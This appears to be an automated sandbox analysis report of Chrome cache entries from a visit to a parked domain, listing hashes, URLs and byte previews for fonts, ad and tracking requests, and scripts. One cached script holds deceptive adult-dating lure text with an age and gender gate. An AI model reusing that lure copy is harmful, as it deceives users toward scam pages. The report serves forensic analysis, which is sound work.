}.}.fetch(`http://parking.parklogic.com/page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=${usid}&utid=${utid}&query=${query}&domainJs=${domainJs}&path=${path}&ss=${ss}&lp=${lp}`). .cat

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 750x1000, components 3
Category:	downloaded
Size (bytes):	121600
Entropy (8bit):	7.987037192954824
Encrypted:	false
SSDEEP:	3072:f/F6j1TDK8ANA2fNJFiKp76dUFoHe/4+g4kLsqtJ:f/FSx4AWj0nK4/+g47qf
MD5:	A7F5C64C089D19BEFC6484A4FF4EBD73
SHA1:	71B8CE3F5F6F901D00AB6302C79BC19F72C4EA1E
SHA-256:	57E3E5BF513AA7B1F5D493D537FD24CD8DB86F5D503B3797871647F1C1E220CC
SHA-512:	6BE9B2C3E343C731C792E1FA9DF964D9A4AC9B204FA164842036DF62EE3D6AA4E590859B6DCFD1ABD885B6611F118160710C0A380EC0105CF7350037EB2BADBD
Malicious:	false
Reputation:	low
URL:	https://cdn.jmp-assets.com/assets/2843/images/1.jpeg
Preview:	......JFIF.............C.............................! ....#'2#%/%..+;,/35888!=A<6A2785...C...........5$.$55555555555555555555555555555555555555555555555555..........."..................................................................................=]O+G..qK....B.~.x..!+.+Zy...K.a..q.B..\...... .t.R..t.P...L.SN#.6.....d3..$....jQ..a.t(...N2.FQ.d...E.`.&D]&.:c$...3.C;:o1...t)E.....i#.-yg...\.../N......msh.-&.T.F3.l...BI0I.. d.I4Z...$.4..N7..rU(. 18...c.Bwd.3.F$g#Ra.H..@.....I.. .I.LH2/.%'p.....i;...6.:.....i0.-0..Ml......t..}+....)?F#Rj!.E..fE...$.Rf3:.I..@.&.c6j).9.....'gNR..e..<%...,.R..Y.x:&.D.......s.B..9$..I.D."..)...k....:.iP.a.c.uR...Q"$202...H...1$.....v1.OL....S.u\|?U...'n.FgC.N,.N!...RTE$.$..&$...9.@.......BI!;;.J2T.x.%..R..._.....D>.C...U.-..i.+...\.i.M...]5.o....3gG<..5.R.7..v..M.M2.4..tM.'S RV...@.D,...]...~W.T.;..Q....N.LZL.S.j2@6.4...F.......i...R.p@X..#..g. .c, ...5..s.....z.q..J=...s..+....+....{.Vq.N.[...s...dk.r.v..).,D...&N..11....G.

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (13937)
Category:	downloaded
Size (bytes):	14790
Entropy (8bit):	5.464503457338708
Encrypted:	false
SSDEEP:	192:2E12ikpgnLLghzVLWrARk4viRk4sRk4KzA7KOl:2ni8vzh9IzJOl
MD5:	E6158FFEC5BA46A578AA6BD8909CD9C5
SHA1:	02B4E5EBBEED711E73D330EC502F1A5D48680519
SHA-256:	5F5917F163BC4075CD3D2EBBBFB0C7658C0B9A448008F2F7143820DB7C033A2D
SHA-512:	6D94BBB5CB93340DA9C7F18BF14F4A6C55F28B08E30C78CC9E6D4125908CC45A31AD94EAC708E4D814D3CDDE7FC3E640FC2E8D184F394EC9922D474F658E4CFE
Malicious:	false
Reputation:	low
URL:	https://www.adsensecustomsearchads.com/afs/ads?adtest=off&psid=7840396037&pcsa=false&channel=000002%2Cbucket011&client=dp-teaminternet09_3ph&r=m&hl=en&rpbu=http%3A%2F%2Fww12.ngelit.com%2F%3Fts%3DfENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTF8fHx8fHw2NjRmYzg5YzYxZWZhfHx8MTcxNjUwNDczMi40NDMzfGY1MjczYTQ0ZmJkZTRlZDViZTNjMmNiMzczZGVjN2E2NmEwODRlYWZ8fHx8fDF8fDB8MHx8fHwxfHx8fHwwfDB8fHx8fHx8fHx8MHwwfHwwfHx8MHwwfFcxMD18fDF8VzEwPXxkZGExZTc1ZjBjNTczNTBkMmQ3ZjI4YzA5ZDllYzQ2OWM3MGRiMWIwfDB8ZHAtdGVhbWludGVybmV0MDlfM3BofDB8MHx8&max_radlink_len=40&type=3&uiopt=true&swp=as-drid-2733393318609526&oe=UTF-8&ie=UTF-8&fexp=21404%2C17300003%2C17301431%2C17301433%2C17301436&client_gdprApplies=0&format=r3%7Cs&nocache=8561716504734778&num=0&output=afd_ads&domain_name=ww12.ngelit.com&v=3&bsl=8&pac=0&u_his=1&u_tz=-240&dt=1716504734780&u_w=1280&u_h=1024&biw=1280&bih=907&psw=1280&psh=754&frm=0&uio=--&cont=tc&drt=0&jsid=caf&nfp=1&jsv=635538657&rurl=http%3A%2F%2Fww12.ngelit.com%2F%3Fusid%3D18%26utid%3D25970526717
Preview:	<!doctype html><html lang="en"> <head> <style id="ssr-boilerplate">body{-webkit-text-size-adjust:100%; font-family:arial,sans-serif; margin:0;}.div{-webkit-box-flex:0 0; -webkit-flex-shrink:0; flex-shrink:0;max-width:100%;}.span:last-child, .div:last-child{-webkit-box-flex:1 0; -webkit-flex-shrink:1; flex-shrink:1;}.a{text-decoration:none; text-transform:none; color:inherit; display:inline-block;}.span{-webkit-box-flex:0 0; -webkit-flex-shrink:0; flex-shrink:0;display:inline-block; overflow:hidden; text-transform:none;}.img{border:none; max-width:100%; max-height:100%;}.i_{display:-ms-flexbox; display:-webkit-box; display:-webkit-flex; display:flex;-ms-flex-align:start; -webkit-box-align:start; -webkit-align-items:flex-start; align-items:flex-start;box-sizing:border-box; overflow:hidden;}.v_{-webkit-box-flex:1 0; -webkit-flex-shrink:1; flex-shrink:1;}.j_>span:last-child, .j_>div:last-child, .w_, .w_:last-child{-webkit-box-flex:0 0; -webkit-flex-shrink:0; flex-shrink:0;}.l_{-ms-overflow

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, truncated
Category:	downloaded
Size (bytes):	20
Entropy (8bit):	1.5567796494470394
Encrypted:	false
SSDEEP:	3:FttTll:XtTll
MD5:	A4745ABC5E7FDB89CC6DF3069F3C6E69
SHA1:	74789F7DDBEBD5B7323F6F8174005B4BF8C1F1ED
SHA-256:	D1111B245F685176180E6F1631E6DC49BADF6672368E9CE260C71355165EFFDF
SHA-512:	849461CB54ECDE577246AAD993D1ECABB879913E353AE322561C7C57605F571E23210FE12BDCEF49FAA99B5B003611976FF64348F620968271E38BBA1C7D7F62
Malicious:	false
Reputation:	low
URL:	http://ww12.ngelit.com/track.php?domain=ngelit.com&toggle=browserjs&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D
Preview:	....................

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15860, version 1.0
Category:	downloaded
Size (bytes):	15860
Entropy (8bit):	7.988022700476719
Encrypted:	false
SSDEEP:	384:S7qmPTF4N21t//YW2FS6+1XxrsbGmjlAbvqMmtCN:S621tHY4xwbGmjloSM7N
MD5:	E9F5AAF547F165386CD313B995DDDD8E
SHA1:	ACDEF5603C2387B0E5BFFD744B679A24A8BC1968
SHA-256:	F5AEBDFEA35D1E7656EF4ACC5DB1F243209755AE3300943EF8FC6280F363C860
SHA-512:	2A71EDB5490F286642A874D52A1969F54282BC43CB24E8D5A297E13B320321FB7B7AF5524EAC609CF5F95EE08D5E4EC5803E2A3C8D13C09F6CC38713C665D0CE
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2
Preview:	wOF2......=...........=..........................d.....^.`.. .H..<........8........6.$.... ..~. ..)..~E......6..J..`.. :.....8.;..5......!.l.j.%SX.SDm...RXh...&.X......5..._...............@...8...Gi..g.;9..'.Q......1..5.U.....w.+.hn..........c.....5.#{..%.#.JP..i.J..U(.6.D5V.<"Ex6"...k..[..{.?.d2....{.........W.......S...hT,.l..'.9.;[@..._.L..\|+...)......S...9F......T..t...-=X.:FtZ..uZ.[.?..f<.....@.....'...I...e..........8.?..-R.3,%X...I2\|.Wk{i...V2C....H$.H.LH.{.........(...6U..%W[t.R....j.........iS..%..L....rf.=..7..9i.I...1.Mj..C..u.B.........vJ.....+.u$.=..3..T..R.._.gs...6).$.-.PUH..Hl....WDd.......fK.(B.F1>..5.._[..]}VA#X...c.....%.(s50...m...^...1...'.$U*H.t...H...s.AZu...'...8.p...@.@.....q..Y.#.....#.....G.....G@..o8. A........:.........S.:..N.S.j.....tav.}.9h..s.....he.......{,~k...,eK.z}.......5%G...l.uCK.....V..............m.....U}.Sz..Z.c.{.....:..g......>h..'\|Z........a....^.b...o.>...g........f../w'....Ja.o(

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	62
Entropy (8bit):	4.298211883563373
Encrypted:	false
SSDEEP:	3:C36VhBoC9xfeADKLOBIcn9xv:C3+XhJEHc9p
MD5:	AC0B622721BCFCDC85CDEBB98AD03BF9
SHA1:	F1981B6DFF8AD407BBB760AC6CFD57AE7C921FA0
SHA-256:	7B2A79E668B985367B96ED97F0B5544D66CFD8FC78DC1D09110AA62DC1586179
SHA-512:	1460B21F80EC9A93FB472C461B1342400EB97A8E4369040FED9695F68D92AC2AF0907C7A9034C6CC62C74656A4BF3EF59DA5112AD805D221BF394464168F8B5E
Malicious:	false
Reputation:	low
URL:	https://statisticresearch.com/user-segments/?pid=TH
Preview:	if (typeof dmpSegments == 'undefined') {var dmpSegments = '';}

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 102536, version 1.0
Category:	downloaded
Size (bytes):	102536
Entropy (8bit):	7.997745926464754
Encrypted:	true
SSDEEP:	1536:JdO26Vlt/8WEjNkZWNvZy4m4I2Do5H7Z3BvgoXK/tNh8XEorh/gQOns6trAk2Xt:J42o3WY4I2Do5NxvgxtNGXEofDW4
MD5:	1ED478A6B265D4B4F5C26BB063203588
SHA1:	1CA5E8C7D2FB8E9D60AD1A1FEB2A46E98C248A3D
SHA-256:	C874E14C63DB86C4C5318C77CB557FCE7036645EDC7D690DCC1D23B389631B13
SHA-512:	6AA92A97373E55521584BF67EAE83160E01F38F636E09AA90DDFB085B020D02662393998E620E416A2BB6A198B90F1F0BD1AB66FA350E310F0F6511BD01B0EC9
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/bootstrap-icons@1.8.1/font/fonts/bootstrap-icons.woff2?524846017b983fc8ded9325d94ed40f3
Preview:	wOF2...............\|...2.........................T.`..........-.6.$........ ..j...m[.....X.......n#...K-.f........X:...p+-.....O'.%.H...e............nw/.4......1ds.CA>. .B`BIu......F<.F..L.^...&e....b..'.j...8..Y-.z>..L8.:..71:d2.,}...N}..)...}..r..T.....K+.z;.. K].i@..^/u./..k...Wp.....(^.k}.W].m....%...o..2.:.W....o.y..>.........O.V..~$v..6.]...........\|...U..'.(...x\..*.S.s..{..8._..`.!...l........h5..I..zW C...w.q7.\k.7\....?.J.FC...a.5Y3.L.!E...4....7..d.$..[..;..0.V..q.^.G.0y....h ....M.Rg..O...]H\...._c.U?.9^.:.W...D...t(e..`.c..V...r-./..}~W..4.M-...].j.....3...g.c..a-......O...".`.~...-HC....].....{.B....-?/.[.o.w...G...Ti..,.S.c\|=_.. '..Ds.7...._......._.....I.8.K..........@B....NQ0.(8..9.a.9..3...a,..\9....t..[Y/s..<.>>.`..O..%-.(v..,w.p.w....a.J...b..........X..,.E...\|E.....1...IW.N..%...g.. .w.{8..@l)..[........t$7.....G.CJ...%UJ-..bH.S>..TQO.{._,a..@.....X..`....8'\|#..jJ0~.!.q..!.DU./5x^.y.}.`.%..:.eY~..o...L.4.....@.....J

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	231706
Entropy (8bit):	4.593328315871064
Encrypted:	false
SSDEEP:	1536:XVU9J794HJ4E7mwNUiRPt5jmU7LxmMS2S1J7g8tEqcqMWKB5v:Xew7ePc
MD5:	D0C22C6A97023D85BA6E644A41C44A5D
SHA1:	4284EFB616C182DA4450C123174CE0E81A322845
SHA-256:	118ADD53487C02AAF5B5AB9F69380FA06717DEB10492E14AAA487E3C62806AD4
SHA-512:	DA96462F4F999BB65509D32E4D5D2E1FD74555CE78D43E5F80FC350155BCE59250337CD1796B17D2132F39429B5E3FD95D05101EE9F9B29BCE2BB7B44B6E4EB8
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 27.0.1, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 1440 2960" style="enable-background:new 0 0 1440 2960;" xml:space="preserve">.<style type="text/css">...st0{fill:none;stroke:#000000;stroke-width:3;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:10;}...st1{fill:none;stroke:#000000;stroke-width:3;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:10.0001;}...st2{fill:none;stroke:#000000;stroke-width:2.9998;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:9.9995;}...st3{stroke:#000000;stroke-width:3;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:10;}...st4{fill:none;stroke:#000000;stroke-width:2.9999;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:9.9998;}...st5{fill:none;stroke:#000000;stroke-width:3.0001

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35547)
Category:	downloaded
Size (bytes):	35595
Entropy (8bit):	5.452672365539053
Encrypted:	false
SSDEEP:	768:TTcXH17OHLHei5zzA/yphOUqCyS2r3hvJtqr78N:MXV7OHL+i7ICQ8r78N
MD5:	0CB7A0EB328EA70AB360F861314C8820
SHA1:	E3E20EB50DAE36F4CBCEF1890B1CC7878ACB537A
SHA-256:	4569845F7C550A55311814032E88541BD3B4A055EC3894E9CF58C4FFF1BE91D9
SHA-512:	49D86291E76FE7F9DF461A4ECB2783945AB450283483C0A640E20E3B6D788CC3459DBB2C8866FD907F6C35BA634C5112909526BC9A881EF41E21EC323E279A70
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/firebasejs/5.0.2/firebase-messaging.js
Preview:	!function(e,t){"use strict";try{t=t&&t.hasOwnProperty("default")?t.default:t;var n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])};function r(e,t){function r(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}var i=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e};function o(e,t,n,r){return new(n\|\|(n=Promise))(function(i,o){function s(e){try{c(r.next(e))}catch(e){o(e)}}function a(e){try{c(r.throw(e))}catch(e){o(e)}}function c(e){e.done?i(e.value):new n(function(t){t(e.value)}).then(s,a)}c((r=r.apply(e,t\|\|[])).next())})}function s(e,t){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return thi

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4352
Entropy (8bit):	5.397517794607866
Encrypted:	false
SSDEEP:	96:1OLNFlOLNTFZKOLNZOLNW3yOLNwOLN8Vc+umOLN+1N1OCNnlOCNiFZKOCNWOCND5:ANFQNDN8NW3XNtNGqN+lNn1NhN6ND3eo
MD5:	4E3C0364981FEF592C32B4E469B7A715
SHA1:	49A51C52BC78D231B6F0CC2705BE21FB2570DCEE
SHA-256:	396BD1AB182A204C8C227C5D6AEF6CBE3A3481500E816635B408DA715695DFA1
SHA-512:	5D577699EC2429000091F32BC2C91E38C1341834D9BC16AF5EDB2D7040D5B55E94893381C0B583B703226C396C842EB9970B5754D0EBEA364D4E9FB5158BF3C8
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Roboto:400,700"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2');. unicode-range: U+0370-0377

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 750x1000, components 3
Category:	dropped
Size (bytes):	121600
Entropy (8bit):	7.987037192954824
Encrypted:	false
SSDEEP:	3072:f/F6j1TDK8ANA2fNJFiKp76dUFoHe/4+g4kLsqtJ:f/FSx4AWj0nK4/+g47qf
MD5:	A7F5C64C089D19BEFC6484A4FF4EBD73
SHA1:	71B8CE3F5F6F901D00AB6302C79BC19F72C4EA1E
SHA-256:	57E3E5BF513AA7B1F5D493D537FD24CD8DB86F5D503B3797871647F1C1E220CC
SHA-512:	6BE9B2C3E343C731C792E1FA9DF964D9A4AC9B204FA164842036DF62EE3D6AA4E590859B6DCFD1ABD885B6611F118160710C0A380EC0105CF7350037EB2BADBD
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.............................! ....#'2#%/%..+;,/35888!=A<6A2785...C...........5$.$55555555555555555555555555555555555555555555555555..........."..................................................................................=]O+G..qK....B.~.x..!+.+Zy...K.a..q.B..\...... .t.R..t.P...L.SN#.6.....d3..$....jQ..a.t(...N2.FQ.d...E.`.&D]&.:c$...3.C;:o1...t)E.....i#.-yg...\.../N......msh.-&.T.F3.l...BI0I.. d.I4Z...$.4..N7..rU(. 18...c.Bwd.3.F$g#Ra.H..@.....I.. .I.LH2/.%'p.....i;...6.:.....i0.-0..Ml......t..}+....)?F#Rj!.E..fE...$.Rf3:.I..@.&.c6j).9.....'gNR..e..<%...,.R..Y.x:&.D.......s.B..9$..I.D."..)...k....:.iP.a.c.uR...Q"$202...H...1$.....v1.OL....S.u\|?U...'n.FgC.N,.N!...RTE$.$..&$...9.@.......BI!;;.J2T.x.%..R..._.....D>.C...U.-..i.+...\.i.M...]5.o....3gG<..5.R.7..v..M.M2.4..tM.'S RV...@.D,...]...~W.T.;..Q....N.LZL.S.j2@6.4...F.......i...R.p@X..#..g. .c, ...5..s.....z.q..J=...s..+....+....{.Vq.N.[...s...dk.r.v..).,D...&N..11....G.

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	18589
Entropy (8bit):	5.727684956661579
Encrypted:	false
SSDEEP:	384:4OM1cgbeo9lMoTDiE0JlGGgtRZVjIqKOc6Big:47zzlMOGTXgfTjhRog
MD5:	02E0B033F73DD394E70B548A13574494
SHA1:	AB8B43AD9D0A73D64D84663BD80EAAAADEA7B433
SHA-256:	4FDFBEC206059AEC18176ED856E623788966DCB174276881BFC1597FE5C59FE2
SHA-512:	FEB7462DBB8A2DD280BB83FB37521A99B0012F13F0F380F9449C8BBF67A3E9CE6E8210341A8FD0764F5B75F6C8926E77CCD5C57438CA01C9B6F1C4FA1847A78A
Malicious:	false
Reputation:	low
URL:	https://cdn.jmp-assets.com/devassets/3198/js/multilang_main_gender.js
Preview:	var langs = {.. en: {.. title: 'WARNING!',.. mainText: 'These girls are looking for attention and affection.',.. btnText: 'CONTINUE',.. subtitle: 'YOU MUST FOLLOW THE RULES GIVEN BELOW',.. item1: '.. If you see someone you know, DO NOT publicize it. Do not spread rumors.',.. item2: '.. The women have requested that we not let those younger than 18 contact them because of past rude behavior by younger men.',.. btnFinal: 'I AGREE',.. adult: 'adult only',.. ageq:"How old are you?",.. gender:"Are you a man or a women?",.. man:"Man",.. woman:"Woman".. }.. ,.. pt: {.. title: 'ALERTA!',.. mainText: 'Muitas dessas garotas est.o procurando por um homem e novas impress.es.',.. btnText: 'CONTINUAR',.. subtitle: 'VOC. DEVE SEGUIR AS REGRAS ABAIXO',.. item1: '.. Caso voc. veja algu.m que voc. conhece, N.O o torne p.blico. N.o espalhe rumores.',.. item2: '.. As mulheres pediram que

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, truncated
Category:	downloaded
Size (bytes):	20
Entropy (8bit):	1.5567796494470394
Encrypted:	false
SSDEEP:	3:FttTll:XtTll
MD5:	A4745ABC5E7FDB89CC6DF3069F3C6E69
SHA1:	74789F7DDBEBD5B7323F6F8174005B4BF8C1F1ED
SHA-256:	D1111B245F685176180E6F1631E6DC49BADF6672368E9CE260C71355165EFFDF
SHA-512:	849461CB54ECDE577246AAD993D1ECABB879913E353AE322561C7C57605F571E23210FE12BDCEF49FAA99B5B003611976FF64348F620968271E38BBA1C7D7F62
Malicious:	false
Reputation:	low
URL:	http://ww12.ngelit.com/track.php?domain=ngelit.com&caf=1&toggle=answercheck&answer=yes&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D
Preview:	....................

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	391
Entropy (8bit):	4.7474201749507134
Encrypted:	false
SSDEEP:	6:t6wfDpmc4slzTPl2O4UYaeLIT4W+KS4S1UpMTQpi6jUs8sh6B+BSmK0C:t6qFPUPkHSt1UiT6i6jUs8b0I0C
MD5:	8959DDCD9712196961D93F58064ED655
SHA1:	62AB1E38E7E9FBF58A04381B76C2D96A9C829F24
SHA-256:	17C7A89BF169C2EE400E31B042CEA68513F06B9CD7D1E8990DBEC800F0D771C7
SHA-512:	5E9EFFA313C30B351345DB963238B4AFD0728CA302FD79A853C80C89F042266D44CC1D29492520FB0FA80B47135E54E6963DFC21972F6B236B84C1DA2FAD809D
Malicious:	false
Reputation:	low
Preview:	<svg fill='#ffffff' xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 24 24"><path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/><path d="M0 0h24v24H0z" fill="none"/></svg>.

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	4.980767694952946
Encrypted:	false
SSDEEP:	96:jJkRRRRRRRRRRRRRRRRRRRRRRRRRRRRutRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRC:jJ/1MJNF6m9XC801f6x7QJGp18G2QR
MD5:	5791D664309E275F4569D2F993C44782
SHA1:	A68F363153614A09F10AE2892C134B9C4B001D4B
SHA-256:	4FF54BC38C267DC3A8C95F6ED4590336BAAEC70433EF15D027DDCA608C391E78
SHA-512:	93502A68F14FD4F87E0AA2CAD92A5657A8587E6ACB1C108CCD8CEB5E52776E77DF867962C51E1290316BB78027DA636F38C065294871B4400FBBC4DEDF622EE1
Malicious:	false
Reputation:	low
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......$...................................................................................".."6."o."..".."..".."..".."..".."..".."o."6.#......................................................................................................................#..#(."s."..".."..".."..".."..".."..".."..".."..".."..".."s.#(.#..................................................................................................#..#-.#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#-.#......................................................................................#..#}.#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#}.#..............................................................................#:.#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, truncated
Category:	dropped
Size (bytes):	20
Entropy (8bit):	1.5567796494470394
Encrypted:	false
SSDEEP:	3:FttTll:XtTll
MD5:	A4745ABC5E7FDB89CC6DF3069F3C6E69
SHA1:	74789F7DDBEBD5B7323F6F8174005B4BF8C1F1ED
SHA-256:	D1111B245F685176180E6F1631E6DC49BADF6672368E9CE260C71355165EFFDF
SHA-512:	849461CB54ECDE577246AAD993D1ECABB879913E353AE322561C7C57605F571E23210FE12BDCEF49FAA99B5B003611976FF64348F620968271E38BBA1C7D7F62
Malicious:	false
Reputation:	low
Preview:	....................

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, truncated
Category:	dropped
Size (bytes):	20
Entropy (8bit):	1.5567796494470394
Encrypted:	false
SSDEEP:	3:FttTll:XtTll
MD5:	A4745ABC5E7FDB89CC6DF3069F3C6E69
SHA1:	74789F7DDBEBD5B7323F6F8174005B4BF8C1F1ED
SHA-256:	D1111B245F685176180E6F1631E6DC49BADF6672368E9CE260C71355165EFFDF
SHA-512:	849461CB54ECDE577246AAD993D1ECABB879913E353AE322561C7C57605F571E23210FE12BDCEF49FAA99B5B003611976FF64348F620968271E38BBA1C7D7F62
Malicious:	false
Reputation:	low
Preview:	....................

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	downloaded
Size (bytes):	15744
Entropy (8bit):	7.986588355476176
Encrypted:	false
SSDEEP:	384:z1TLklSElcS5V6qQTMUP07JwirW6RlLwK79/:p7EJ5E2bJwi5jLwK79/
MD5:	15D9F621C3BD1599F0169DCF0BD5E63E
SHA1:	7CA9C5967F3BB8BFFEAB24B639B49C1E7D03FA52
SHA-256:	F6734F8177112C0839B961F96D813FCB189D81B60E96C33278C1983B6F419615
SHA-512:	D35A47162FC160CD5F806C3BB7FEB50EC96FDFC81753660EAD22EF33F89BE6B1BFD63D1135F6B479D35C2E9D30F2360FFC8819EFCA672270E230635BCB206C82
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42164)
Category:	downloaded
Size (bytes):	42523
Entropy (8bit):	5.082709528800747
Encrypted:	false
